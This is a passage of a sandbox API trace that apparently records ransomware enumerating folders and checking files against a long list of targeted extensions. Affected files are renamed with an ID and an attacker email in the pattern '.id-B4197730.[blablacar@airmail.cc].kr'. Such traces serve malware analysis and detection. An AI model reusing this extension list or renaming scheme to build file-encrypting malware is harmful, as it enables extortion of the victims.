lpString2="c].kr") returned -1 [0084.304] lstrlenW (lpString=".jp2") returned 4 [0084.304] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".jpc") returned 4 [0084.304] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".jpe") returned 4 [0084.304] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".jpeg") returned 5 [0084.304] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0084.304] lstrlenW (lpString=".jpf") returned 4 [0084.304] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".jpg") returned 4 [0084.304] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".jpx") returned 4 [0084.304] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".js") returned 3 [0084.304] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0084.304] lstrlenW (lpString=".jsf") returned 4 [0084.304] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".json") returned 5 [0084.304] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0084.304] lstrlenW (lpString=".jsp") returned 4 [0084.304] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0084.304] lstrlenW (lpString=".kdc") returned 4 [0084.305] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".kmz") returned 4 [0084.305] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".kwm") returned 4 [0084.305] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".lasso") returned 6 [0084.305] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0084.305] lstrlenW (lpString=".lbi") returned 4 [0084.305] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".lgf") returned 4 [0084.305] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".lgp") returned 4 [0084.305] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".log") returned 4 [0084.305] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".m1v") returned 4 [0084.305] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".m4a") returned 4 [0084.305] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".m4v") returned 4 [0084.305] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".max") returned 4 [0084.305] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".md") returned 3 [0084.305] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0084.305] lstrlenW (lpString=".mda") returned 4 [0084.305] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".mdb") returned 4 [0084.305] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0084.305] lstrlenW (lpString=".mde") returned 4 [0084.305] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mdf") returned 4 [0084.306] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mdw") returned 4 [0084.306] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mef") returned 4 [0084.306] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mft") returned 4 [0084.306] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mfw") returned 4 [0084.306] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mht") returned 4 [0084.306] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mhtml") returned 6 [0084.306] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0084.306] lstrlenW (lpString=".mka") returned 4 [0084.306] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mkidx") returned 6 [0084.306] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0084.306] lstrlenW (lpString=".mkv") returned 4 [0084.306] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mos") returned 4 [0084.306] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mov") returned 4 [0084.306] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mp3") returned 4 [0084.306] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mp4") returned 4 [0084.306] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0084.306] lstrlenW (lpString=".mpeg") returned 5 [0084.307] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0084.307] lstrlenW (lpString=".mpg") returned 4 [0084.307] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".mpv") returned 4 [0084.307] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".mrw") returned 4 [0084.307] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".msg") returned 4 [0084.307] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".mxl") returned 4 [0084.307] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".myd") returned 4 [0084.307] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".myi") returned 4 [0084.307] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".nef") returned 4 [0084.307] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".nrw") returned 4 [0084.307] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".obj") returned 4 [0084.307] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".odb") returned 4 [0084.307] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".odc") returned 4 [0084.307] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".odm") returned 4 [0084.307] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".odp") returned 4 [0084.307] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".ods") returned 4 [0084.307] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0084.307] lstrlenW (lpString=".oft") returned 4 [0084.308] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".one") returned 4 [0084.308] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".onepkg") returned 7 [0084.308] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0084.308] lstrlenW (lpString=".onetoc2") returned 8 [0084.308] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0084.308] lstrlenW (lpString=".opt") returned 4 [0084.308] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".oqy") returned 4 [0084.308] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".orf") returned 4 [0084.308] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".p12") returned 4 [0084.308] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".p7b") returned 4 [0084.308] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".p7c") returned 4 [0084.308] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pam") returned 4 [0084.308] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pbm") returned 4 [0084.308] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pct") returned 4 [0084.308] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pcx") returned 4 [0084.308] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pdd") returned 4 [0084.308] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0084.308] lstrlenW (lpString=".pdf") returned 4 [0084.309] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pdp") returned 4 [0084.309] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pef") returned 4 [0084.309] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pem") returned 4 [0084.309] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pff") returned 4 [0084.309] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pfm") returned 4 [0084.309] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pfx") returned 4 [0084.309] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".pgm") returned 4 [0084.309] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".php") returned 4 [0084.309] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0084.309] lstrlenW (lpString=".php3") returned 5 [0084.309] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0084.309] lstrlenW (lpString=".php4") returned 5 [0084.309] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0084.309] lstrlenW (lpString=".php5") returned 5 [0084.309] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0084.309] lstrlenW (lpString=".phtml") returned 6 [0084.309] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0084.309] lstrlenW (lpString=".pict") returned 5 [0084.309] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0084.309] lstrlenW (lpString=".pl") returned 3 [0084.309] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0084.309] lstrlenW (lpString=".pls") returned 4 [0084.309] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".pm") returned 3 [0084.310] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0084.310] lstrlenW (lpString=".png") returned 4 [0084.310] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".pnm") returned 4 [0084.310] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".pot") returned 4 [0084.310] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".potm") returned 5 [0084.310] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".potx") returned 5 [0084.310] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".ppa") returned 4 [0084.310] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".ppam") returned 5 [0084.310] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".ppm") returned 4 [0084.310] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".pps") returned 4 [0084.310] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".ppsm") returned 5 [0084.310] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".ppt") returned 4 [0084.310] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".pptm") returned 5 [0084.310] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".pptx") returned 5 [0084.310] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0084.310] lstrlenW (lpString=".prn") returned 4 [0084.310] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0084.310] lstrlenW (lpString=".ps") returned 3 [0084.311] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0084.311] lstrlenW (lpString=".psb") returned 4 [0084.311] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".psd") returned 4 [0084.311] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".pst") returned 4 [0084.311] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".ptx") returned 4 [0084.311] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".pub") returned 4 [0084.311] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".pwm") returned 4 [0084.311] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".pxr") returned 4 [0084.311] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".py") returned 3 [0084.311] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0084.311] lstrlenW (lpString=".qt") returned 3 [0084.311] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0084.311] lstrlenW (lpString=".r3d") returned 4 [0084.311] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".raf") returned 4 [0084.311] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0084.311] lstrlenW (lpString=".rar") returned 4 [0084.311] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0084.311] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc482fc22, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc482fc22, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0084.312] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.312] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.312] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0084.312] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0084.312] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0084.312] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0084.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26 [0084.312] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0084.312] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.313] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4855f46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a6d7d5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0084.313] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0084.313] lstrlenW (lpString=".1cd") returned 4 [0084.313] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".3ds") returned 4 [0084.313] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".3fr") returned 4 [0084.313] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".3g2") returned 4 [0084.313] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".3gp") returned 4 [0084.313] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".7z") returned 3 [0084.313] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0084.313] lstrlenW (lpString=".accda") returned 6 [0084.313] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".accdb") returned 6 [0084.313] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".accdc") returned 6 [0084.313] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".accde") returned 6 [0084.313] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".accdt") returned 6 [0084.313] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".accdw") returned 6 [0084.313] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0084.313] lstrlenW (lpString=".adb") returned 4 [0084.313] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0084.313] lstrlenW (lpString=".adp") returned 4 [0084.313] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai") returned 3 [0084.314] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0084.314] lstrlenW (lpString=".ai3") returned 4 [0084.314] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai4") returned 4 [0084.314] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai5") returned 4 [0084.314] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai6") returned 4 [0084.314] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai7") returned 4 [0084.314] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ai8") returned 4 [0084.314] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".anim") returned 5 [0084.314] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0084.314] lstrlenW (lpString=".arw") returned 4 [0084.314] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".as") returned 3 [0084.314] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0084.314] lstrlenW (lpString=".asa") returned 4 [0084.314] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".asc") returned 4 [0084.314] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0084.314] lstrlenW (lpString=".ascx") returned 5 [0084.314] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0084.314] lstrlenW (lpString=".asm") returned 4 [0084.314] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".asmx") returned 5 [0084.315] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0084.315] lstrlenW (lpString=".asp") returned 4 [0084.315] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".aspx") returned 5 [0084.315] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0084.315] lstrlenW (lpString=".asr") returned 4 [0084.315] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".asx") returned 4 [0084.315] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".avi") returned 4 [0084.315] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".avs") returned 4 [0084.315] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".backup") returned 7 [0084.315] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0084.315] lstrlenW (lpString=".bak") returned 4 [0084.315] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".bay") returned 4 [0084.315] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".bd") returned 3 [0084.315] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0084.315] lstrlenW (lpString=".bin") returned 4 [0084.315] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".bmp") returned 4 [0084.315] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".bz2") returned 4 [0084.315] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0084.315] lstrlenW (lpString=".c") returned 2 [0084.315] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0084.315] lstrlenW (lpString=".cdr") returned 4 [0084.316] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".cer") returned 4 [0084.316] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".cf") returned 3 [0084.316] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0084.316] lstrlenW (lpString=".cfc") returned 4 [0084.316] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".cfm") returned 4 [0084.316] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".cfml") returned 5 [0084.316] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0084.316] lstrlenW (lpString=".cfu") returned 4 [0084.316] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".chm") returned 4 [0084.316] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0084.316] lstrlenW (lpString=".cin") returned 4 [0084.477] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0084.477] lstrlenW (lpString=".class") returned 6 [0084.477] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0084.477] lstrlenW (lpString=".clx") returned 4 [0084.477] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0084.477] lstrlenW (lpString=".config") returned 7 [0084.477] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0084.477] lstrlenW (lpString=".cpp") returned 4 [0084.477] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0084.477] lstrlenW (lpString=".cr2") returned 4 [0084.478] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".crt") returned 4 [0084.478] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".crw") returned 4 [0084.478] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".cs") returned 3 [0084.478] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0084.478] lstrlenW (lpString=".css") returned 4 [0084.478] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".csv") returned 4 [0084.478] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".cub") returned 4 [0084.478] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dae") returned 4 [0084.478] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dat") returned 4 [0084.478] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".db") returned 3 [0084.478] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0084.478] lstrlenW (lpString=".dbf") returned 4 [0084.478] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dbx") returned 4 [0084.478] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dc3") returned 4 [0084.478] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dcm") returned 4 [0084.478] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".dcr") returned 4 [0084.478] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0084.478] lstrlenW (lpString=".der") returned 4 [0084.478] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dib") returned 4 [0084.479] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dic") returned 4 [0084.479] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0084.479] lstrlenW (lpString=".dif") returned 4 [0084.479] 